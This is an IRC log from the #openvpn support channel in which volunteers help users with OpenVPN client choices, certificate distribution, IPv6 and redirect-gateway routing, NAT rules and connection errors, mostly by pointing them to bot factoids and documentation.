16:31 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 240 seconds]
16:34 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
16:34 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
16:58 < WarDriver> I had a routing error... but now its gone cause I set up my routes in windows...
16:58 < WarDriver> I thought it was a firewall related error...
17:00 < WarDriver> and the lesson I learned today... is to take things you read on forums with a hint of salt...
17:06 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
17:31 -!- kubbing [~kubbing@ip-89-177-146-146.net.upcbroadband.cz] has joined #openvpn
17:51 -!- kubbing [~kubbing@ip-89-177-146-146.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
17:51 -!- kubbing [~kubbing@ip-89-177-146-146.net.upcbroadband.cz] has joined #openvpn
17:51 -!- kubbing [~kubbing@ip-89-177-146-146.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:52 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
17:52 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:53 -!- kubbing_ [~kubbing@ip-89-177-146-146.net.upcbroadband.cz] has joined #openvpn
17:57 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
17:59 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
18:00 -!- kubbing_ [~kubbing@ip-89-177-146-146.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
18:03 -!- johnfg_ [johnfg@host-184-166-136-254.bzm-mt.client.bresnan.net] has joined #openvpn
18:03 -!- johnfg [~johnfg@host-184-166-136-254.bzm-mt.client.bresnan.net] has quit [Read error: Connection reset by peer]
18:09 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130511120803]]
18:16 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has quit [Quit: Leaving]
18:17 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
18:27 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
18:51 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has joined #openvpn
19:00 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has joined #openvpn
19:01 < LeLutin> I'm about to prepare certificates for all employees for a client, and some of them have apple laptops and pads and what not. what clients do you people recomment for OS X and iOS ?
19:02 < LeLutin> I've found tunnelick for os x. haven't tested it yet though
19:02 < LeLutin> hum... tunnelblick I mean
19:03 < pekster> Tunnelblick is probably the best client for OS X. There's also Viscocity, but I had issues with it vs Tunnelblick and never tried it since (that was a few years back though)
19:03 < hjohnson> I use tunnelblick
19:03 < hjohnson> it works pretty well, and is really easy to deploy configurations for
19:03 < LeLutin> pekster, hjohnson: thanks, that's good to hear then
19:04 < hjohnson> you just create a .tblk package (really a folder ending in .tblk) that contains the openvpn configuration and the requisite certificates.  The user just has to double-click on it after installing tunnelblick, and it installs the configuration.
19:04 < hjohnson> though in my case, for wide-spread use, I deployed OpenVPN using RADIUS authentication rather than certificate auth, since that was easier and I didn't need to generate or transmit client keys
19:05 < hjohnson> the fundamental problem with you generating client keys and sending them to the person is that then th eprivate key is transmitted over the wire.
19:05 < pekster> The website also has some nifty options for completely "ready to use" .app creation pre-bundled with the config and any required files
19:05 < LeLutin> yeah, for this case there are approx. 10 users so I didn't want to setup something too big..
19:05 < hjohnson> so it's a bit of six of 1, ahlf a dozen of the other, if you're dealing with non-technical people who won't be generating their own keys and sending you a CSR.
19:06 < hjohnson> I'd love it if the clients had a front-end to enough of the easyRSA so that they could generate the client key pair, and then provide a CSR that could then be sent to the tunnel operator for signing.
19:07 < LeLutin> yeah that'd be great.. then just saying "go there, click on that, then send me the file that ends with .xyz" would make it easier to get users to do that
19:08 < LeLutin> do you know of any good openvpn clients for iOS ?
19:08 < hjohnson> or cut and paste this random gobblygook into an email and send it to me.
19:08 < hjohnson> the only one I know of is the official one.
19:08 < hjohnson> it's a bit of a special case, since it leaverages iOS's native keystore for the key material
19:08 < hjohnson> which is the "right way" of doing things.
19:09 < hjohnson> (iOS has an encrypted keystore that keeps sensative mateirals (keys, psswords, etc...) encrypted when the device is locked.
19:09 < LeLutin> oh ok. by "official" you mean that it's part of openvpn dev or that it comes from apple?
19:09 < hjohnson> that comes from OpenVPN
19:09 -!- srg [U2FsdGVkX1@unaffiliated/srg] has joined #openvpn
19:09 < hjohnson> I have installed it though haven't set it up
19:09 < hjohnson> since, well, I think it actually needs key auth right now, it doesn't to username/password (which is what I'm using)
19:11 < pekster> I'm hacking a bit at what will hopefully be the next major version of Easy-RSA, and I might try to cook up a minimal GUI frontend for Windows. That, or just a wrapper script to common "client tasks" like generating a key+CSR and forgo the GUI. There's XCA if you really want a GUI, but IMO it's actually harder to use to get the extensions set up properly
19:13 < LeLutin> hjohnson: hmm I don't see it in the d/ls on openvpn's site. do you need to compile it from source (or maybe get it on apple store or smthng)?
19:13 < pekster> Easy-RSA is now a separate package
19:13 < pekster> !easyrsa
19:13 <@vpnHelper> "easyrsa" is "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
19:14 < LeLutin> pekster: I meant the iOS client
19:14 < hjohnson> pekster: that's why I'd love to see it integrated into the GUI front-ends for OpenVPN.  Basically send out a generic configuraiton set (CA/Server certificates & OpenVPN config) and then the client says "generating key... Cut and paste this and email it to your system administrator" or something like that.
19:14 < pekster> !iphone
19:14 <@vpnHelper> "iphone" is (#1) http://www.zdnet.com/blog/hardware/ubuntu-lucid-lynx-1004-can-read-your-iphones-secrets/8424 <-- be aware of that before putting your keys on an iphone or (#2) OpenVPN is now available for iOS in the App Store or (#3) https://community.openvpn.net/openvpn/wiki/IOSinline
19:14 < hjohnson> LeLutin: get it from the App Store
19:14 < hjohnson> it' sfree
19:14 < LeLutin> hjohnson: ok thanks
19:15 < LeLutin> pekster: thanks for the additional info. I'll take a look at that
19:15 < hjohnson> the zdnet article is long out of date.
19:16 < pekster> It's for an older iOS version, yea
19:17  * pekster still doesn't trust security products that come in a pretty opaque box
19:17 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
19:17 < hjohnson> given the problem that law enforcement is having getting into the stuff, I'm confident enough in the security that it doesn't bother me too much. :)
19:36 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has quit [Quit: michaelhart]
19:57 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has joined #openvpn
20:00 -!- raidz is now known as raidz_away
20:07 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has quit [Quit: michaelhart]
20:16 -!- anonymuse00 [~intransit@cpe-68-173-27-87.nyc.res.rr.com] has quit []
20:16 -!- intransit [intransit@cpe-68-173-27-87.nyc.res.rr.com] has joined #openvpn
20:16 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has joined #openvpn
20:17 -!- max_ [~max@mdd2036d0.tmodns.net] has joined #openvpn
20:29 < funyun> can anyone help me get openvpn to change my IP? i use the same configs as i do on my mac with TunnelBlick but it doesn't change my IP on my Windows Computer Machine..
20:32 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has quit [Quit: michaelhart]
20:32 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
20:39 -!- A-KO [as@unaffiliated/a-ko] has joined #openvpn
20:39 < pekster> funyun: Sigh...
20:40 < pekster> 2013-05-22 20:45< pekster> Thought we covered this yesterday. OpenVPN won't ever "change
20:40 < pekster> " your IP; at best it *add* another one for you
20:40 < pekster> Please try reading the advice you get this time
20:41 < pekster> What you probably intend to do can be explained by this information and flowchart:
20:41 < pekster> !redirect
20:41 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
20:41 <@vpnHelper> http://ircpimps.org/redirect.png
20:41 < pekster> Those who come here uninterested in learning are not going to find what they seek
20:41 -!- max_ [~max@mdd2036d0.tmodns.net] has quit [Ping timeout: 245 seconds]
20:42 < A-KO> Having trouble routing ipv6 over a tun interface....I did enable forwarding on tun0, and for all intents it seems to want to work....I can ping the tun0 interface (server-side, Linux) from the client (Windows)...but can't get further than that. It seems to be using "fe80::8" as the gw in my local route table, but I can't ping that address at all...
20:44 < pekster> A-KO: fe80::/10 is link-local; if you're trying to route across the tun device via the VPN you should probably be using the address of the peer you're assigning across the VPN
20:45 < srg> !welcome
20:45 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
20:45 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
20:45 < A-KO> tried that, doing a push "route-ipv6 2000::/3 $tun_ip 1"
20:45 < A-KO> and it doesn't push the $tun_ip
20:45 < A-KO> I can, however, ping the tun0 ip
20:45 < A-KO> w/o issue
20:45 < A-KO> it just doesn't want to push it
20:45 < srg> !howto
20:45 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:45 < A-KO> could try it by hand
20:45 < A-KO> see what happens
20:47 < srg> I have a VPN service from a company to access the internet through it. I'm trying to connect using OpenVPN. I'm getting the "TLS key negotiation failed to occur within 60 seconds" error.
20:47 < srg> I can ping the remote server, and my port 1194 UDP outgoing is opened
20:47 < pekster> A-KO: See why it doesn't show up on the client; if you're pushing it, the client should get that in the PUSH_REPLY in its log; if so, it should be adding a route if you've enabled ipv6 options client-side. You shouldn't need a gateway since it'll come from the remote end from the 2nd argument to --ifconfig-ipv6 which is usually also pushed (or done implicitly with --ifconfig-ipv6-pool)
20:48 < A-KO> oh....you know what......
20:48 < A-KO> think I miiiiiiiiight know what the issue is
20:48 < pekster> srg: It's a generic error when "packets don't get sent between your endpoints." If you are unable to produce logs & configs from *both* sides of the connection, we won't be able to help
20:49 < srg> Yeah, I only have logs from my end. Hm.
20:50 < pekster> !provider
20:50 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
20:51 < srg> Thanks pekster
20:52 < srg> Although my provider has no support whatsoever, haha
20:52  * srg tcpdumps
20:54 < srg> I figured it was my end because my logs say "UDPv4 link local: [undef]" and nothing is showing up in my ifconfig
20:54 < pekster> That's expected
20:55 < srg> hm, alright. i'll do some digging and figure it out
20:55 -!- max_ [~max@63.231.40.81] has joined #openvpn
20:55 < WarDriver> I got a problem... I can ping across the tunnel to any machine in the server lan... but when I try to ping a wan ip I get timeouts
20:55 < A-KO> okay, still a no-go.....it just refuses to push the proper gateway down with push "route-ipv6", it keeps setting fe80::8.....
20:55 < pekster> "setting" as what?
20:56 < pekster> The destination in your routing table?
20:56 < WarDriver> I can also ping the ovpn client from the server and from any machine that has the propper routes configured
20:56 < A-KO> yes pekster
20:56 < WarDriver> any ideas?
20:56 < A-KO> the log says it's pushing the right route...with add_route_ipv6() , but the very next line, where it runs netsh int ipv6 add route ; it's not using the gw from the add_route_ipv6() line
20:56 < A-KO> adding it by hand doesn't seem to do much, either...
20:57 < pekster> A-KO: What are you pushing as ipv6 IPs across your link? Can you pastebin the configs (grep commands to strip comments/blanks are in !configs)
20:57 < A-KO> !configs
20:57 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
20:57 < pekster> WarDriver: See !redirect, and follow it carefully. The flowchart may help
20:58 < WarDriver> !redirect
20:58 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
20:58 <@vpnHelper> http://ircpimps.org/redirect.png
21:00 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 252 seconds]
21:00 -!- max_ [~max@63.231.40.81] has quit [Quit: p33 ba115]
21:01 < A-KO> pekster: http://pastebin.com/hdmPWR6N
21:02 < A-KO> pretty simple setup...
21:05 -!- master_of_master [~master_of@p4FF24A05.dip0.t-ipconnect.de] has joined #openvpn
21:07 < WarDriver> !nat
21:07 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
21:08 < WarDriver> !linnat
21:08 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
21:08 -!- master_o1_master [~master_of@p4FF24A27.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
21:15 < pekster> A-KO: What about client config? Why aren't you using --ifconfig-ipv6-pool though?
21:16 < A-KO> because I read in the options that server-ipv6 fills all that out automatically if you give it a prefix?
21:16 < pekster> Oh, server-ipv6, missed that. Yea, that should do the right thing then
21:17 < pekster> The client should get a 2600:3c03:e001:1e00::/64 address
21:17 < pekster> fe80::/10 is link-local, as I noted before
21:19 < A-KO> Yes, I'm aware.....I actually run full native v6 normally on all my stuff; this is just to bring ipv6 to my openvpn connections, even to systems w/o native.
21:19 < A-KO> http://pastebin.com/4y9ZKJb0 is the client.
21:20 < A-KO> and the thing is, I can't ping the fe80::8 address, even if I use %32 (interface ID)
21:20 < A-KO> it just doesn't exist..
21:20 < A-KO> won't route to it, won't go through it..
21:20 < A-KO> I can, however, ping the v6 ip on the tun0 interface directly
21:20 < A-KO> w/o issue
21:20 < A-KO> but setting a manual route by hand via route add doesn't work, either.
21:21 < A-KO> It's just something weird going on with the routing
21:22 < pekster> Right. OpenVPN won't use the LL address. That asside, if you route 2000::/3 via the tun endpoint, it should let you use it for anything without a more specific route
21:22 < A-KO> should
21:22 < A-KO> isn't :P
21:22 < pekster> Does a traceroute get to the VPN gateway as the next-hop?
21:23 < pekster> If so, you can narrow it down to a firewall or routing issue server-side
21:23 < A-KO> nope, it still routes over my default gw
21:23 < A-KO> my normal one
21:27 < pekster> Have a routing table handy?
21:27 < A-KO> sec
21:28 -!- srg [U2FsdGVkX1@unaffiliated/srg] has left #openvpn [":wq"]
21:31 -!- funyun_ [~funyun@usloft1594.serverloft.com] has joined #openvpn
21:31 < A-KO> http://pastebin.com/H5TpGqcD
21:32 < A-KO> notice it has these 2 routes? the global IP route is what I have in server.conf for push route-ipv6
21:32 < A-KO> the other one just gets added for w/e reason
21:32 < A-KO> but if I delete the other, still doesn't route
21:33 < pekster> That's probably coming from your LAN's RA
21:33 < pekster> I presume If#20 is the LAN
21:33 < A-KO> yes, I'm talking the 2000::/3 fe80::8 though
21:33 < A-KO> IF 32 is the tun IF, 20 is LAN
21:34 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Ping timeout: 276 seconds]
21:36 < A-KO> It's probably something on the server side, I assumed enabling forwarding on tun0 would suffice, but there might be more?
21:36 < A-KO> dunno
21:36 < A-KO> maybe forward all?
21:36 < pekster> Yup, plus both the relevant interfaces
21:37 < A-KO> yeah...I did that...and it nuked my connectivity via v6...
21:37 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
21:37 < A-KO> I'l try it again...
21:38 -!- funyun_ [~funyun@usloft1594.serverloft.com] has quit [Ping timeout: 248 seconds]
21:38 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Client Quit]
21:39 < pekster> See ~linux-src/Documentation/networking/ip-sysctl.txt for the bit about conf/all/forwarding
21:42 < A-KO> oh here we go
21:42 < A-KO> force accept_ra even if forwarding enabled
21:42 < A-KO> that would solve that problem
21:42 < A-KO> this might work now...
21:43 < A-KO> OH YES
21:43 < A-KO> that worked
21:43 < A-KO> winner
21:43 < A-KO> wow
21:43 < A-KO> all I needed was to override accept_ra
21:43 < A-KO> The More You Know (tm)
21:44 < A-KO> okay, now, is there any way to push ipv6 DNS servers over openvpn?
21:49 < A-KO> well
21:49 < A-KO> it's somewhere :D
21:59 -!- A-KO [as@unaffiliated/a-ko] has quit []
22:06 -!- cnf [Br4FuwhrHE@unaffiliated/cnf] has quit [Ping timeout: 256 seconds]
22:12 -!- bwallen [~brian@pool-108-44-169-124.clppva.fios.verizon.net] has joined #openvpn
22:16 < bwallen> I just joined a VPN service and the openvpn config they gave me doesn't include client certs. Is that still secure? They do use AES256
22:17 < pekster> !provider
22:17 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
22:17 < pekster> You can't have P2MP mode without TLS, which requires at a minimum a CA cert and server keypair
22:18 < bwallen> They did provide a ca cert
22:18 < pekster> Client-authentication can be via a user/pass PSK or X509 pubkey, or both
22:18 < bwallen> Ah, I see. That makes sense now
22:19 -!- cnf [Mh6QKa1enO@unaffiliated/cnf] has joined #openvpn
22:20 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
22:25 -!- waynr [U2FsdGVkX1@ma.sdf.org] has joined #openvpn
22:27 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
22:28 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
22:30 < waynr> howdy folks
22:35 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
22:38 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
22:56 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
22:57 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
23:05 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
23:20 -!- Eugene is now known as EugeneKay
23:22 < EugeneKay> bwallen - yes; DH key exchange still takes place
23:23 -!- cnf [Mh6QKa1enO@unaffiliated/cnf] has quit [Ping timeout: 252 seconds]
23:25 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 260 seconds]
23:27 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
23:31 -!- cnf [iUocQy5BEg@unaffiliated/cnf] has joined #openvpn
23:52 < t35guy> Is there a flag I can add so all my programs go through my VPN? Right now pidgin isn't for some reason.
23:53 < EugeneKay> !redirect
23:53 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
23:53 <@vpnHelper> http://ircpimps.org/redirect.png
--- Day changed Fri May 24 2013
00:00 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
00:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
00:47 -!- chamunks [~chamunks@206-248-172-199.dsl.teksavvy.com] has joined #openvpn
00:48 < chamunks> can someone please refer me to a fairly comprehensive guide to installing openvpn on a ubuntu 12.04 server
00:49 < chamunks> I've tried the following 3 guides https://library.linode.com/networking/openvpn/ubuntu-10.04-lucid and http://www.openlogic.com/wazi/bid/188052/From-Zero-to-OpenVPN-in-30-Minutes and finally http://www.slsmk.com/installing-openvpn-on-ubuntu-server-12-04/
00:49 < EugeneKay> `apt-get install openvpn`
00:49 <@vpnHelper> Title: Secure Communications with OpenVPN on Ubuntu 10.04 (Lucid) – Linode Library (at library.linode.com)
00:49 < EugeneKay> !howto
00:49 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
00:49 < EugeneKay> That's about it.
00:49 < chamunks> thank you very much :)
00:50 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
00:54 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
00:57 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
01:02 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
01:04 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
01:12 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
01:29 -!- JAVACODER [~JAVACODER@2.190.38.242] has quit [Ping timeout: 256 seconds]
01:35 -!- JAVACODER [~JAVACODER@2.190.42.61] has joined #openvpn
01:37 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has joined #openvpn
01:37 < hyper_ch> hmmm, I have a strange error in openvpn:   Incoming packet rejected from [AF_INET]10.0.0.146:1190[2], expected peer address: [AF_INET]10.0.0.5:1190 (allow this incoming source address/port by removing --remote or adding --float)
01:42 -!- mattock_afk is now known as mattock
01:45 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
01:54 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:20 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
02:22 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
02:25 < DrFoo> I'm so confused. The client conf file has no log entry. Where is the ovpn log for the client (Ubuntu 12.04)?
02:25 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 240 seconds]
02:25 < DrFoo> I don't see it in syslog
02:35 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:16 -!- JAVACODER [~JAVACODER@2.190.42.61] has quit [Remote host closed the connection]
03:41 -!- RealRancor_ [~Rancor@prielwurmjaeger.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
03:42 < pppingme> hyper_ch which ip do you think is right?
03:42 < hyper_ch> pppingme: it's a server problem... for some reason it has two ips
03:42 < pppingme> you can bind openvpn to just one of the ip's in the config file
03:43 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
03:44 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
04:05 -!- JAVACODER [~JAVACODER@2.190.32.148] has joined #openvpn
04:27 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
04:43 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 260 seconds]
04:44 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
04:47 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has left #openvpn ["Konversation terminated!"]
05:12 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
06:06 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn
06:06 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host]
06:06 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn
07:00 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
07:03 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
07:03 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has joined #openvpn
07:13 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Connection reset by peer]
07:23 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:28 -!- baobeiiiii [~baobeiiii@192.73.244.224] has joined #openvpn
07:28 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
07:28 -!- baobeiiiii is now known as daniear
07:29 -!- xTz [~xTz@cpc7-belc7-2-0-cust42.2-1.cable.virginmedia.com] has quit [Quit: My damn controlling terminal disappeared!]
08:10 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Quit: rebooting]
08:12 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 246 seconds]
08:13 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
08:14 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
08:28 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has quit [Ping timeout: 264 seconds]
08:28 -!- suprsonic [~suprsonic@services.landonsanderson.com] has joined #openvpn
08:29 < suprsonic> is there any tricks to getting openvpn to route networks between the server network and a network behind a client?
08:34 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has joined #openvpn
08:35 < janjust> wouldn't that be !scope
08:35 < janjust> !scope
08:36 < janjust> take a look here: http://openvpn.net/index.php/open-source/documentation/howto.html#scope
08:36 <@vpnHelper> Title: HOWTO (at openvpn.net)
08:36 < janjust> most likely you'll want a CCD file containing the right 'iroute' command
08:45 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has quit [Ping timeout: 252 seconds]
08:47 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
08:47 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
08:47 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Client Quit]
08:47 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
08:59 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving]
09:01 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
09:04 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Client Quit]
09:11 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
09:16 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
09:33 < pekster> suprsonic: There are some helpful flowcharts in !serverlan and !clientlan for steps you need to expose LANs behind either client
09:33 < pekster> Start with a basic VPN setup between your 2 peers, then work through each of those, one at a time
09:37 < suprsonic> yup, client to server connects
09:39 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
09:58 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:02 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 276 seconds]
10:03 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
10:13 -!- johnfg_ [johnfg@host-184-166-136-254.bzm-mt.client.bresnan.net] has quit [Quit: leaving]
10:16 -!- keo-w [~keo-w@71-90-22-1.dhcp.ftbg.wi.charter.com] has joined #openvpn
10:16 < keo-w> hello, any openvpn ninjas wanting to help
10:17 < keo-w>  openvpn[2518]: read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
10:18 < pekster> keo-w: Fairly straightforward just as the error says: the connection was refused from the destination or a router along its path
10:19 < pekster> ie: some kind of ICMP "unreachable" error (host-unreach, port-unreach, net-unreach, etc.) In theory that can be caused by a firewall disallowing the outbound packet too, but that's less likely, though you should check that too
10:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 276 seconds]
10:20 < pekster> Check your firewalls on the remote end. Failing that, figure out if the destination is returning the error, or a router upstream of it (tcpdump should help, try something to the effect of `tcpdump -pnvi ethExternalIf udp port 1194 or icmp`
10:20 -!- takamichi [~takamichi@83.170.117.176] has joined #openvpn
10:25 -!- raidz_away is now known as raidz
10:26 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
10:33 -!- takamichi [~takamichi@83.170.117.176] has quit [Read error: Operation timed out]
10:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:44 < keo-w> yea i see this on my firewall here on the site to site vpn shoerwall kernel: Shorewall:FORWARD:REJECT:IN=eth0 OUT=eth0
10:44 < keo-w> blocking its ip
10:44 < keo-w> linux guy is out today i'm just trying to get it working so thansk for the patience
